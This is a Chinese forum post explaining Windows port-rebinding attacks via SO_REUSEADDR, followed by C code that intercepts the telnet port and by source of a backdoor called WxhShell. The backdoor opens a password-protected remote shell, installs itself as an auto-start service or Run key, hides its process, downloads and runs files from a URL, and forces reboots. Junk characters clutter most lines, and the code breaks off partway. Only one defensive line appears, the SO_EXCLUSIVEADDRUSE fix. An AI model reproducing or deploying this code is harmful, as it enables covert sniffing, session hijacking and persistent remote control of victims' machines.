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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NFmB ^@k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Vwm\a]s  
rb`C:#j{J  
  saddr.sin_family = AF_INET; WXO@oZ!  
zcIZJVYA  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r4!zA-{  
# ?}WQP!  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3o"~_l$z  
R%7k<1d'`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -qid.  
'hU&$lgMF  
  这意味着什么?意味着可以进行如下的攻击: al#yc  
pZjyzH{~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,((5|MbM/  
SJy:5e?zk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) iCc@N|~  
PS(LD4mD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k\HRG@ /G  
ec"L*l"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  vERsrg;(  
?=Ma7 y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "b-6kM  
R:^GNra;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 l}:9)nXA{  
~[ve?51  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &*/X*!_HK  
//V?rs  
  #include (nvSB}?  
  #include G^)|c<'M  
  #include /+02 BP  
  #include    |`:Uww+3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \$riwL  
  int main() O3Ks|%1  
  { (MJu3t @  
  WORD wVersionRequested; =_.Zv  
  DWORD ret; iwrdZLE  
  WSADATA wsaData; l ^\5Jr03  
  BOOL val; - Nplx  
  SOCKADDR_IN saddr; }tc,3> /  
  SOCKADDR_IN scaddr; pX6OhwkTK  
  int err; auL?Hb  
  SOCKET s; tao3Xr^?  
  SOCKET sc; /c3 DltOdr  
  int caddsize; ~~'XY(\L@  
  HANDLE mt; ;uR8pz e  
  DWORD tid;   4vE,nx=  
  wVersionRequested = MAKEWORD( 2, 2 ); >Pbd#*  
  err = WSAStartup( wVersionRequested, &wsaData ); (W*yF2r  
  if ( err != 0 ) { o7]h;Zg5r  
  printf("error!WSAStartup failed!\n"); w;>]L.n  
  return -1; Dve5Ml-  
  } #t3j u^ |?  
  saddr.sin_family = AF_INET; .\*\bvyCw  
   Lrr6z05FQ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 B6$s*SXNp  
]yCmGt+b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }b6ja y  
  saddr.sin_port = htons(23); b>I -4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $~zqt%}  
  { r(i<H%"Z  
  printf("error!socket failed!\n"); :^J(%zy  
  return -1; '<4OA!,^)  
  } O{SU,"!y  
  val = TRUE; BD,~M*%z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;'2y6"\Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s^3t18m&1  
  { o` ,&yq.  
  printf("error!setsockopt failed!\n"); f>Bcr9]]  
  return -1; {*>$LlL  
  } YR~g&E#U^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %Cb8vYz~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  :jB(!XH  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s+Ln>c'|o  
B>AIec\jG  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `^ F'af  
  { >.J68 x  
  ret=GetLastError(); <[l2]"Q  
  printf("error!bind failed!\n"); M*aE)D '  
  return -1; .^P^lQT]>  
  } m!E36ce}  
  listen(s,2); #r:J,D6*  
  while(1) ]#S.L'  
  { \p [!@d^  
  caddsize = sizeof(scaddr); _RY<-B   
  //接受连接请求 LdVGFlcXi  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); r")=Z1y  
  if(sc!=INVALID_SOCKET) HHa7Kh|-H  
  { $0iz;!w  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .R biF  
  if(mt==NULL) +z("'Cv  
  { AvP*p{we  
  printf("Thread Creat Failed!\n"); &&JI$x0;  
  break; 83;1L:}`  
  } ckN/_ u3  
  } M}/%t1^g:  
  CloseHandle(mt); fIWQ+E  
  } *.voN[$~  
  closesocket(s); zXUE<\  
  WSACleanup(); {TE0  
  return 0; @YWfq$23  
  }   /i DS#l\0  
  DWORD WINAPI ClientThread(LPVOID lpParam) #;}IHAR  
  { A 7DdUNR  
  SOCKET ss = (SOCKET)lpParam; ^D oJ='&  
  SOCKET sc; Pgye{{  
  unsigned char buf[4096]; pN4!*7M  
  SOCKADDR_IN saddr; owYfrf3ZLX  
  long num; "eh"' Z  
  DWORD val; &WvJg#f  
  DWORD ret; /x-Ja[kL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7b@EvW6X}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   '{6`n5:e  
  saddr.sin_family = AF_INET; Q7c_;z_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [>Q{70 c[  
  saddr.sin_port = htons(23); CdTmL{Y1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ecf<(Vl}  
  { B>a`mFM  
  printf("error!socket failed!\n"); SL@Vk(  
  return -1; >k_Z]J6Pd  
  } >SfC '*1  
  val = 100; ZpI_/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s/P\w"/fN  
  { Ds L]o  
  ret = GetLastError(); )m5<gp`  
  return -1; `Rj i=k>  
  } P]dDTh~e~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7^|3T TK  
  { UPN2p&gM  
  ret = GetLastError(); BIV]4vl-&  
  return -1; 8Bhot,u'T  
  } Z][?'^`^!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  tEP^w  
  { {"{J*QH  
  printf("error!socket connect failed!\n"); WxO*{`T!  
  closesocket(sc); /_jApZz  
  closesocket(ss); +H ="5uO<  
  return -1; YWq[)F@0G  
  } jX+LI  
  while(1) |S>nfL{TQe  
  { | G%MiYd  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~xvQ?c ?-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 fCEd :Kr  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _}JygOew  
  num = recv(ss,buf,4096,0); rR C3^X`u  
  if(num>0) X]y3~|K  
  send(sc,buf,num,0); rM>&! ?y+  
  else if(num==0) @X\nY</E#M  
  break; g`J? 2 _]  
  num = recv(sc,buf,4096,0); "OK(<x]3;>  
  if(num>0) JZP2NB_xt  
  send(ss,buf,num,0); - *yj[?6  
  else if(num==0) Iun!r v  
  break; ap;UxWqx  
  } mT-5Ok&TUe  
  closesocket(ss); g3x192f  
  closesocket(sc); RJtSHiM2  
  return 0 ; DC/CUKE.d  
  } 3)dT+lZ  
Aoa0czC~  
D0x+b2x^  
========================================================== L ~ 1Lv?  
@uH7GW}$g  
下边附上一个代码,,WXhSHELL }T(|\ X  
|ZRl.C/e  
========================================================== hj4A&`2  
9 lA YCsX  
#include "stdafx.h" ?hDEFW9&^x  
xsAF<:S\  
#include <stdio.h> r-Dcc;+=Q  
#include <string.h> !uHI5k,f  
#include <windows.h> ih~c(&n0  
#include <winsock2.h> -F5U.6~`!  
#include <winsvc.h>  ) mv}u~  
#include <urlmon.h> Y{p *$  
AA05wpu8  
#pragma comment (lib, "Ws2_32.lib") \uanQ|Nu  
#pragma comment (lib, "urlmon.lib") |: nuT$(  
:;??!V  
#define MAX_USER   100 // 最大客户端连接数 >Zmpsa+  
#define BUF_SOCK   200 // sock buffer 1 !\pwd@{  
#define KEY_BUFF   255 // 输入 buffer UdLC]  
G.oaDGy  
#define REBOOT     0   // 重启 Wg}#{[4  
#define SHUTDOWN   1   // 关机 eMh:T@SN  
#c!(97l6o  
#define DEF_PORT   5000 // 监听端口 KCCS7l/  
D=dY4WwG  
#define REG_LEN     16   // 注册表键长度 wy Le3  
#define SVC_LEN     80   // NT服务名长度 6xBP72L;%"  
&ul9N)A  
// 从dll定义API (Yw5X_|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xX"?3%y>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Tmw :w~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %FF  S&vd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5#2vSq!H  
1/#N{rZ  
// wxhshell配置信息 eY&UFe  
struct WSCFG { <D4)gRRo  
  int ws_port;         // 监听端口 3q1O:b^eo  
  char ws_passstr[REG_LEN]; // 口令 J-\b?R a  
  int ws_autoins;       // 安装标记, 1=yes 0=no IndNR:"g  
  char ws_regname[REG_LEN]; // 注册表键名 EO| kiC   
  char ws_svcname[REG_LEN]; // 服务名 `_v-Y`Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9Pem~<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `I'=d4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,#"AWQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JBWiTUk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZFdQ Z=.'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w=^*)jZ8  
VVe>}  
}; DF&C7+hO  
01w=;Q  
// default Wxhshell configuration ec]ksw6T+  
struct WSCFG wscfg={DEF_PORT, - z|idy{  
    "xuhuanlingzhe", H=yD}!j  
    1, {yG)Ii  
    "Wxhshell", 8D+OF 6CM  
    "Wxhshell", <MfB;M  
            "WxhShell Service", z5{I3 Y!1  
    "Wrsky Windows CmdShell Service", <o]tW4\(R  
    "Please Input Your Password: ", pH"LZ7)DI0  
  1, qKSM*k~  
  "http://www.wrsky.com/wxhshell.exe", r!x^P=f,MJ  
  "Wxhshell.exe" @Qx;J<{+g  
    }; %b!p{p  
 F_I! +  
// 消息定义模块 ?29 KvT;#]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (p2\H>pTr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?>AhC{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K=B[MT#V{2  
char *msg_ws_ext="\n\rExit."; 6,c,i;J_  
char *msg_ws_end="\n\rQuit."; 1C|j<w=i  
char *msg_ws_boot="\n\rReboot..."; ]1Q\wsB  
char *msg_ws_poff="\n\rShutdown..."; <R !qOQI  
char *msg_ws_down="\n\rSave to "; Hh qx)u  
m&$H ?yXW>  
char *msg_ws_err="\n\rErr!"; Z-vzq;  
char *msg_ws_ok="\n\rOK!"; >w*"LZjTTK  
|]`+@K,S  
char ExeFile[MAX_PATH]; {fGi:b\[ 8  
int nUser = 0; sJ0y3)PQ  
HANDLE handles[MAX_USER]; # =322bnO  
int OsIsNt; zD?$O7 |ZK  
}7C{:H2d  
SERVICE_STATUS       serviceStatus; chiQ+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ar):D#D  
}& 1_gn15  
// 函数声明 | z('yy$  
int Install(void);  vG  
int Uninstall(void); z_Qw's  
int DownloadFile(char *sURL, SOCKET wsh); }$UuYO/i  
int Boot(int flag); <4! w2vxG  
void HideProc(void); @FbzKHdV/  
int GetOsVer(void); ]T*{M  
int Wxhshell(SOCKET wsl); \ _i`=dx  
void TalkWithClient(void *cs); (JM4W "7'  
int CmdShell(SOCKET sock); 6dinC <[}  
int StartFromService(void); E?FPxs  
int StartWxhshell(LPSTR lpCmdLine); F-=er e  
-|3U0: 'm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^iI^)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5-C6;7%:  
Ik}*7D  
// 数据结构和表定义 }U #S*  
SERVICE_TABLE_ENTRY DispatchTable[] = Y&j6;2-Z  
{ |RpC0I  
{wscfg.ws_svcname, NTServiceMain}, Ia(A&Za  
{NULL, NULL} $h$+EE!  
}; (te \!$  
%WO;WxG8^  
// 自我安装 YqDw*S{  
int Install(void) 2>H\arEstR  
{ 1fC|_V(0  
  char svExeFile[MAX_PATH]; ZU:gNO0  
  HKEY key; hwXp=not(  
  strcpy(svExeFile,ExeFile); R UX  
[@\f 0R  
// 如果是win9x系统,修改注册表设为自启动 OsK=% aDpj  
if(!OsIsNt) { h`vM+,I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *wSl~J|ZM%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #Y{"`5>  
  RegCloseKey(key); &FK=w]P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HML6<U-eS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3^fZUldf  
  RegCloseKey(key); !~mN"+u&  
  return 0; F`ihw[ Wn  
    } dyx 4_!fO  
  } Q \{\u J x  
} w6cPd'  
else { _WSJg1  
X0U6:  
// 如果是NT以上系统,安装为系统服务 L@2H>Lh35  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s@ q54  
if (schSCManager!=0) zcNV<tx  
{ (ncfR  
  SC_HANDLE schService = CreateService T2Vj &EA@  
  ( F_-yT[i  
  schSCManager, =-q)I[4#  
  wscfg.ws_svcname, =djzE`)0  
  wscfg.ws_svcdisp, {#;6$dU;(  
  SERVICE_ALL_ACCESS, cX&c%~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cf j6I  
  SERVICE_AUTO_START, T&S< 0  
  SERVICE_ERROR_NORMAL, +V'Z%;/  
  svExeFile, WK=!<FsC$  
  NULL, 1/{:}9Z@  
  NULL, 2HTZ, W  
  NULL, I@z{G r  
  NULL, -~aVt~{k/  
  NULL gWlmQl  
  ); ]ny(l#Hu:  
  if (schService!=0)  t]vz+VQ  
  { L8$7^muad  
  CloseServiceHandle(schService); sVC5<?OW!p  
  CloseServiceHandle(schSCManager); @ J"1 !`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .:;i*  
  strcat(svExeFile,wscfg.ws_svcname); ktS0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x/Ds`\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q7SS<'(  
  RegCloseKey(key); 2 Sr'B;`p  
  return 0; S\ li<xl  
    } Dho~6K }"  
  } &/ zs Ix+  
  CloseServiceHandle(schSCManager); N2~z&y8.  
} *i\7dJ Dj  
} uUJ2d84tV  
Yw{](qG7e`  
return 1; w5[POo' 5  
} w?/,LV  
Xr~r`bR=  
// 自我卸载 o2.! G  
int Uninstall(void) MdyH/.Te  
{ :,7VqCh3@  
  HKEY key; K E^_09  
=]^* -f}J9  
if(!OsIsNt) { svQDSif  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "Fke(?X'  
  RegDeleteValue(key,wscfg.ws_regname); 1X{A}9nA  
  RegCloseKey(key); "RG.vo7b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &{ f5F7E@  
  RegDeleteValue(key,wscfg.ws_regname); FIS-xpv$  
  RegCloseKey(key); p1&d@PF&&  
  return 0; "~Eo=R0O  
  } bcZHFX  
} }8FP5Z'Cf%  
} xCQ<G{;C  
else { _&:o"""Wf  
JhD8.@} b~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 56v<!L5%  
if (schSCManager!=0) HL)1{[|`  
{ EU\1EBT^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *$s)p>  
  if (schService!=0) eHjR/MMr_  
  { [&39Yv.k,7  
  if(DeleteService(schService)!=0) { `  ^6}Dn  
  CloseServiceHandle(schService); p]>bN  
  CloseServiceHandle(schSCManager); d82IEhZ#  
  return 0; nyDqR#t  
  } ~{N|("nB  
  CloseServiceHandle(schService); 7i'vAOnw^  
  } lE`ScYG  
  CloseServiceHandle(schSCManager); dXOjaS# ~  
} {6KU.'#iF  
} 5i#B?+Y  
\myj Y  
return 1; N-NwGD{  
} )HU?7n.{  
~\Ynih  
// 从指定url下载文件 &B3kzs  
int DownloadFile(char *sURL, SOCKET wsh) .f6_[cS;g  
{ mtF&Z\ag  
  HRESULT hr; z1"UF4x*  
char seps[]= "/"; 8C YJR/  
char *token; 4o|~KX8Qz  
char *file; $4L=Dg  
char myURL[MAX_PATH]; n =v %}@f2  
char myFILE[MAX_PATH]; ?+TD2~rD(  
u&g} !Smc8  
strcpy(myURL,sURL); Onk~1ks:  
  token=strtok(myURL,seps); H)4Rs~;{'g  
  while(token!=NULL) L72GF5+!!  
  { kQ:2@SOm  
    file=token; }??q{B@v  
  token=strtok(NULL,seps); F:H76O`8  
  } cJty4m-  
0~-+5V  
GetCurrentDirectory(MAX_PATH,myFILE); a'A0CQ  
strcat(myFILE, "\\"); 6)?TWr'Ke  
strcat(myFILE, file); /wK7l-S  
  send(wsh,myFILE,strlen(myFILE),0); hqE#BnQxP,  
send(wsh,"...",3,0); ;J`X0Vl$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GnLh qm"\  
  if(hr==S_OK) ^yb_aCw  
return 0; yn=1b:kid  
else fW\u*dMMZE  
return 1; 'DIE#l`  
0xjV*0?s  
} 2R_k$kHl  
[0rG"$(0Y  
// 系统电源模块 @hv9 =v+  
int Boot(int flag) %Cr- cR0  
{ vi=yR  
  HANDLE hToken; =6 [!'K  
  TOKEN_PRIVILEGES tkp; )XNcy"   
qH(2 0Z!  
  if(OsIsNt) { HnpGPGz@F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |W::\yu6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2L\h+)  
    tkp.PrivilegeCount = 1; {vU '>pp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "5e]-u'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); . XY'l  
if(flag==REBOOT) { $)uQ%/DH>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jrW7AT)\  
  return 0; x,V_P/?%  
} tF;aB*  
else { 4$;fj1!Z:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;Joo!CXHO  
  return 0; U%#=d@?  
} -~xd-9v?  
  } R0+m7mx#E  
  else { !7w-?1?D  
if(flag==REBOOT) { H11Wb(6Wu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i?R qv<n  
  return 0; sO*6F`eiZ  
} HY42G#^  
else { <6`,)(dj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y_nh~&  
  return 0; zzxU9m~"  
} B O"+m  
} {!="PnB  
E6G^?k~q  
return 1; 0|U<T#t8?  
} Oe=,-\&_  
A/.cNen  
// win9x进程隐藏模块 j9,X.?Xvx  
void HideProc(void) |)lo<}{  
{ Tu"yoF  
4gZN~_AI<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DQRt\!  
  if ( hKernel != NULL ) ' ZB%McS  
  { f]hW>-B(q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (Hs frc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .!`j3W]  
    FreeLibrary(hKernel); ,rN7X<s54  
  } ]F_u  
S !e0 :  
return; ql zL<  
} 9hq7:  
b!N`@m=  
// 获取操作系统版本 6-^+btl)#  
int GetOsVer(void)  "3v%|  
{ d,>l;l  
  OSVERSIONINFO winfo; V2bod=&Lc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~:0h o  
  GetVersionEx(&winfo); .=NK^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I 7TMv.  
  return 1; ~!uK;hI  
  else fpqKa r  
  return 0; D/)xe:  
} _Ih~'Y Fd  
abK/!m[q  
// 客户端句柄模块 B^OhL!*tI  
int Wxhshell(SOCKET wsl) fGxa~Unx  
{ ~p8!Kb6  
  SOCKET wsh; O 8fh'6  
  struct sockaddr_in client; |ST&,a$(  
  DWORD myID; =]"PSY7p  
abF_i#  
  while(nUser<MAX_USER) L2:C6Sc  
{ %URyGS]*  
  int nSize=sizeof(client); <;Xj4 J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6tJM*{$$H  
  if(wsh==INVALID_SOCKET) return 1; |_A35"v  
1wq 6E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vu1:8j  
if(handles[nUser]==0) f{vnZ|WD  
  closesocket(wsh); 4f>Vg$4  
else qzH97<M}T  
  nUser++; ,JjTzO  
  } J0x)m2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L h0<A%  
5=$D~>-#  
  return 0;  /f2*J  
} 7<) .luV  
QM$?}>:  
// 关闭 socket @U9ov >E  
void CloseIt(SOCKET wsh) m/{rmtA4  
{ w,P2_xk`  
closesocket(wsh); :8rqTBa`  
nUser--; /!LfEO  
ExitThread(0); l^SKd  
} `yf#(YP  
_LS=O@s^  
// 客户端请求句柄 4}0s^>R  
void TalkWithClient(void *cs) a]Lr<i8#%  
{ YlYTH_L>E  
2#rF/!`^  
  SOCKET wsh=(SOCKET)cs; TN0d fba[  
  char pwd[SVC_LEN]; avT>0b:  
  char cmd[KEY_BUFF]; U_!6pqFc  
char chr[1]; EBn7waBS  
int i,j; -yC},tK  
_qGkTiP  
  while (nUser < MAX_USER) { 6g!t1%Kb  
#]Cr zLe  
if(wscfg.ws_passstr) { ^v`|0z\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +`9T?:fu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _[.`QW~  
  //ZeroMemory(pwd,KEY_BUFF); eQNYfWR  
      i=0; }6o` in>M  
  while(i<SVC_LEN) { %II |;<  
=T+<>/[  
  // 设置超时 jbG #__#_  
  fd_set FdRead; .<tb*6rX>  
  struct timeval TimeOut; 7wZKK0;T  
  FD_ZERO(&FdRead); ~UL; O\-b0  
  FD_SET(wsh,&FdRead); Q!@" Y/  
  TimeOut.tv_sec=8; =XqmFr;h  
  TimeOut.tv_usec=0; ('>!dXA$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MN#\P1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fghJj@ES  
Y(-+>>j_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C^ uXJ~8  
  pwd=chr[0]; pE`BB{[@  
  if(chr[0]==0xd || chr[0]==0xa) { hnyZXk1|  
  pwd=0; X${k  
  break; `"    
  } eE7+fMP{  
  i++; j]jwQRe  
    } i5rAb<q`  
b2ZKhS8  
  // 如果是非法用户,关闭 socket V RT| OUq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |J8c|h<  
} 5I@< 6S&X  
vQ 5 p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pvcD 61,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &t`l,]PQ=6  
lh .p`^v  
while(1) { l.FkX  
MvQ0"-ZQ  
  ZeroMemory(cmd,KEY_BUFF); tLLP2^_&  
X\uN:;?#W{  
      // 自动支持客户端 telnet标准   _O)~<Sk-*z  
  j=0; QKe=/;  
  while(j<KEY_BUFF) { HD$W\P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {wK98>$a  
  cmd[j]=chr[0]; zs WYV n]  
  if(chr[0]==0xa || chr[0]==0xd) { f BukrPsV  
  cmd[j]=0; GsxrqIaD  
  break; q.~_vS%  
  } Kc0KCBd8];  
  j++; *Z<`TB)<X  
    } pYH#Vh  
s_u@8e 6_  
  // 下载文件 va| 1N/&  
  if(strstr(cmd,"http://")) { LG@5Z-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L%Me wU0TZ  
  if(DownloadFile(cmd,wsh)) /wKL"M-%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lor jMS  
  else >DPC}@Wl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {}~7Gi!  
  } {QI"WFdGx  
  else { K&\xbT  
jq%Qc9y  
    switch(cmd[0]) { ]w"r4HlCx  
  0]fzjiaGt  
  // 帮助 P @G2F:}  
  case '?': { $O?&!8);,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E&/#Ov  
    break; T5Yu+>3  
  } KHI-m9(  
  // 安装 4uwI=UUB  
  case 'i': { DFcgUEq  
    if(Install()) ;&oS=6$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P|l62!m<   
    else I^emH+!MW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I& DEF*  
    break; "sdzm%  
    } Ho2#'lSKM  
  // 卸载 2h%/exeS;  
  case 'r': { 1pg&?L.MA  
    if(Uninstall()) **N{XxdN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); krFuEaO  
    else 6* (6>F5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a~>+I~^K5q  
    break; 9'Le}`Gf  
    } N8#wQ*MM>  
  // 显示 wxhshell 所在路径 -c{O!z6sX  
  case 'p': { 'S;INs2|->  
    char svExeFile[MAX_PATH];  At @H  
    strcpy(svExeFile,"\n\r"); J>y}kzCz  
      strcat(svExeFile,ExeFile); 8KiG(6*Q  
        send(wsh,svExeFile,strlen(svExeFile),0);  LhKaqR{  
    break; Nawph  
    } b bCH(fYbu  
  // 重启 NO+.n)etGb  
  case 'b': { JZ3CCf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hSr2<?yk  
    if(Boot(REBOOT)) ]?rVram;z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NwP!.  
    else { r$T\@oTL  
    closesocket(wsh); g(& huS  
    ExitThread(0); 6Cfu19Dx  
    } Lyo!}T  
    break; Vsw] v  
    } C9OEB6  
  // 关机 e ?sMOBPlv  
  case 'd': { nvY%{Zf$}  
